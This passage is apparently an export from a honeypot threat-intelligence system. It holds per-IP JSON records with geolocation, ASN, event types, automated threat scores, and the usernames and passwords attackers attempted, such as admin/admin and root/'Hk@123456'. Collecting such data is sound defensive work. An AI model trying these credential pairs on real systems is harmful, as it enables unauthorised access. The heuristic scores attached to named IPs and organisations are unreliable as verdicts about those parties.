        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Orangeburg",
      "asn": 40021,
      "as_org": "Contabo Inc.",
      "threat_score": 44.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.6,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:14:15.097000+00:00",
        "last_seen_30d": "2026-05-29T21:22:33.597000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 13
      }
    },
    "115.186.228.24": {
      "attack_count": 22,
      "first_seen": "2026-05-03T10:42:07.742Z",
      "last_seen": "2026-05-03T10:50:15.262Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Brisbane",
      "asn": 38195,
      "as_org": "Superloop",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T10:42:07.742000+00:00",
        "last_seen_30d": "2026-05-03T10:58:47.298000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 12
      }
    },
    "64.62.156.212": {
      "attack_count": 20,
      "first_seen": "2026-05-22T14:43:49.800Z",
      "last_seen": "2026-05-27T04:31:32.112Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1"
      ],
      "passwords_attempted": [
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        "Accept: */*",
        "",
        "Gecko/20100101 Firefox/109.0",
        "Intel Mac OS X 10.15",
        "Macintosh",
        "Macintosh ; Intel Mac OS X 10.15 ; rv:109.0",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0",
        "rv:109.0"
      ],
      "event_types": [
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 359,
        "days_active_30d": 30,
        "ports_targeted_30d": 84,
        "honeypots_triggered_30d": 12,
        "first_seen_30d": "2026-05-02T02:09:25+00:00",
        "last_seen_30d": "2026-05-31T15:12:06.616000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 208,
        "Honeytrap": 94,
        "Cowrie": 20,
        "Mailoney": 12,
        "Miniprint": 8,
        "ConPot": 4,
        "CitrixHoneypot": 3,
        "Dionaea": 3,
        "Tanner": 3,
        "Adbhoney": 2,
        "ElasticPot": 1,
        "Ipphoney": 1
      }
    },
    "188.90.65.252": {
      "attack_count": 19,
      "first_seen": "2026-05-22T14:48:24.621Z",
      "last_seen": "2026-05-22T15:47:48.948Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "git"
      ],
      "passwords_attempted": [
        "Hk@123456",
        "Qwertyu1",
        "test1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "The Hague",
      "asn": 50266,
      "as_org": "Odido Netherlands B.V.",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T14:48:24.621000+00:00",
        "last_seen_30d": "2026-05-22T15:48:49.859000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 19,
        "Suricata": 12
      }
    },
    "102.219.170.66": {
      "attack_count": 18,
      "first_seen": "2026-05-11T10:11:09.965Z",
      "last_seen": "2026-05-11T10:17:42.999Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Cape Town",
      "asn": 328480,
      "as_org": "TooMuchWifi",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T10:11:09.965000+00:00",
        "last_seen_30d": "2026-05-11T10:18:48.010000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 18,
        "Suricata": 12
      }
    },
    "206.168.201.237": {
      "attack_count": 16,
      "first_seen": "2026-05-04T04:47:07.911Z",
      "last_seen": "2026-05-04T04:48:51.161Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Gujranwala",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 2.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T04:47:07.911000+00:00",
        "last_seen_30d": "2026-05-04T04:49:52.337000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "192.42.116.117": {
      "attack_count": 14,
      "first_seen": "2026-05-06T12:06:52.629Z",
      "last_seen": "2026-05-11T20:51:55.230Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "nil",
        "root"
      ],
      "passwords_attempted": [
        ""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 50.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.4,
        "persistence": 19.2,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 23,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T12:06:52.629000+00:00",
        "last_seen_30d": "2026-05-28T02:34:24.432000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 8,
        "Honeytrap": 2
      }
    },
    "185.117.118.196": {
      "attack_count": 12,
      "first_seen": "2026-05-09T00:05:27.433Z",
      "last_seen": "2026-05-29T07:44:27.566Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 51765,
      "as_org": "Oy Crea Nova Hosting Solution Ltd",
      "threat_score": 38.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T00:05:27.433000+00:00",
        "last_seen_30d": "2026-05-29T07:45:30.968000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "64.190.76.11": {
      "attack_count": 11,
      "first_seen": "2026-05-11T10:56:59.038Z",
      "last_seen": "2026-05-24T20:55:02.201Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "support"
      ],
      "passwords_attempted": [
        "admin",
        "ZabTharwat@2016"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Decatur",
      "asn": 214094,
      "as_org": "'Association Osservatorio Nessuno ODV'",
      "threat_score": 27.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T10:56:59.038000+00:00",
        "last_seen_30d": "2026-05-24T20:56:05.879000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 6
      }
    },
    "161.81.122.139": {
      "attack_count": 10,
      "first_seen": "2026-05-20T19:58:08.920Z",
      "last_seen": "2026-05-20T20:16:40.591Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9231,
      "as_org": "China Mobile Hong Kong Company Limited",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T19:58:08.920000+00:00",
        "last_seen_30d": "2026-05-20T20:17:50.415000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "177.72.110.153": {
      "attack_count": 10,
      "first_seen": "2026-05-04T00:08:25.645Z",
      "last_seen": "2026-05-04T00:16:30.795Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Porto Alegre",
      "asn": 268671,
      "as_org": "RL NET INTERNET",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T00:08:25.645000+00:00",
        "last_seen_30d": "2026-05-04T00:17:40.594000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "185.15.31.202": {
      "attack_count": 8,
      "first_seen": "2026-05-03T00:03:59.742Z",
      "last_seen": "2026-05-03T00:09:07.863Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Croatia",
      "country_code": "HR",
      "city": null,
      "asn": 61211,
      "as_org": "SETCOR d.o.o.",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T00:03:59.742000+00:00",
        "last_seen_30d": "2026-05-03T00:10:13.536000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 8
      }
    },
    "41.212.42.49": {
      "attack_count": 8,
      "first_seen": "2026-05-13T03:45:15.044Z",
      "last_seen": "2026-05-13T03:53:18.053Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 15399,
      "as_org": "WANANCHI",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T03:45:15.044000+00:00",
        "last_seen_30d": "2026-05-13T03:54:19.322000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "64.62.156.38": {
      "attack_count": 7,
      "first_seen": "2026-05-13T18:43:46.315Z",
      "last_seen": "2026-05-25T04:33:19.645Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 310,
        "days_active_30d": 30,
        "ports_targeted_30d": 90,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T01:04:30.568000+00:00",
        "last_seen_30d": "2026-05-31T13:11:59.622000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 189,
        "Honeytrap": 104,
        "Cowrie": 7,
        "ConPot": 6,
        "Dionaea": 3,
        "Miniprint": 1
      }
    },
    "103.15.28.243": {
      "attack_count": 6,
      "first_seen": "2026-05-08T03:13:40.603Z",
      "last_seen": "2026-05-08T03:13:42.196Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 55639,
      "as_org": "Asia Web Service Ltd",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:13:40.603000+00:00",
        "last_seen_30d": "2026-05-08T03:14:49.593000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "201.238.32.150": {
      "attack_count": 6,
      "first_seen": "2026-05-22T02:34:21.182Z",
      "last_seen": "2026-05-22T05:58:43.897Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T02:34:21.182000+00:00",
        "last_seen_30d": "2026-05-22T05:59:51.555000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "205.210.31.225": {
      "attack_count": 6,
      "first_seen": "2026-05-18T02:52:04.141Z",
      "last_seen": "2026-05-23T22:41:01.528Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 79.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 89,
        "days_active_30d": 30,
        "ports_targeted_30d": 26,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T02:04:49+00:00",
        "last_seen_30d": "2026-05-31T03:29:08.460000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Honeytrap": 23,
        "Cowrie": 6
      }
    },
    "37.27.96.153": {
      "attack_count": 6,
      "first_seen": "2026-05-04T23:54:06.746Z",
      "last_seen": "2026-05-04T23:54:13.375Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T23:54:06.746000+00:00",
        "last_seen_30d": "2026-05-04T23:55:14.828000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "42.51.42.209": {
      "attack_count": 6,
      "first_seen": "2026-05-31T04:02:19.613Z",
      "last_seen": "2026-05-31T04:02:25.069Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 56005,
      "as_org": "Zhengzhou Fastidc Technology Co.,Ltd.",
      "threat_score": 31.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-31T04:02:19.613000+00:00",
        "last_seen_30d": "2026-05-31T04:03:37.816000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6,
        "Honeytrap": 1
      }
    },
    "81.192.138.65": {
      "attack_count": 5,
      "first_seen": "2026-05-28T08:03:58.481Z",
      "last_seen": "2026-05-28T08:04:01.997Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "minecraft"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Rabat",
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T08:03:58.481000+00:00",
        "last_seen_30d": "2026-05-28T08:05:11.227000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "2.57.122.194": {
      "attack_count": 4,
      "first_seen": "2026-05-05T01:03:00.334Z",
      "last_seen": "2026-05-05T01:03:02.123Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 2.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:03:00.334000+00:00",
        "last_seen_30d": "2026-05-05T01:04:04.001000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "20.121.46.95": {
      "attack_count": 4,
      "first_seen": "2026-05-27T21:26:20.663Z",
      "last_seen": "2026-05-27T21:26:31.261Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 68.3,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.1,
        "persistence": 24.2,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 26,
        "days_active_30d": 29,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T03:44:31.003000+00:00",
        "last_seen_30d": "2026-05-31T19:44:06.493000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 4,
        "Honeytrap": 4,
        "Dionaea": 2
      }
    },
    "138.2.102.66": {
      "attack_count": 3,
      "first_seen": "2026-05-11T17:39:57.475Z",
      "last_seen": "2026-05-11T17:40:58.963Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Loyang",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 11.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T11:50:46+00:00",
        "last_seen_30d": "2026-05-11T17:42:00.808000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "216.57.110.81": {
      "attack_count": 3,
      "first_seen": "2026-05-19T11:46:23.029Z",
      "last_seen": "2026-05-19T11:47:24.197Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 210976,
      "as_org": "Timeweb, LLP",
      "threat_score": 57.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.4,
        "persistence": 20.8,
        "diversity": 8,
        "spread": 20,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 109,
        "days_active_30d": 25,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T14:24:04.365000+00:00",
        "last_seen_30d": "2026-05-26T17:26:28.966000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Tanner": 44,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "45.119.85.237": {
      "attack_count": 3,
      "first_seen": "2026-05-02T15:58:18.753Z",
      "last_seen": "2026-05-02T15:59:20.582Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.success",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131386,
      "as_org": "Long Van System Solution JSC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.1,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 103,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T15:58:18.753000+00:00",
        "last_seen_30d": "2026-05-03T21:34:16.750000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Suricata": 56,
        "Tanner": 44,
        "Cowrie": 3
      }
    },
    "102.182.190.135": {
      "attack_count": 2,
      "first_seen": "2026-05-08T10:42:35.548Z",
      "last_seen": "2026-05-08T10:42:47.916Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Cape Town",
      "asn": 37611,
      "as_org": "AFRIHOST-SP",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T10:42:35.548000+00:00",
        "last_seen_30d": "2026-05-08T10:43:49.648000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.103.33.208": {
      "attack_count": 2,
      "first_seen": "2026-05-07T11:02:19.086Z",
      "last_seen": "2026-05-07T11:02:32.425Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
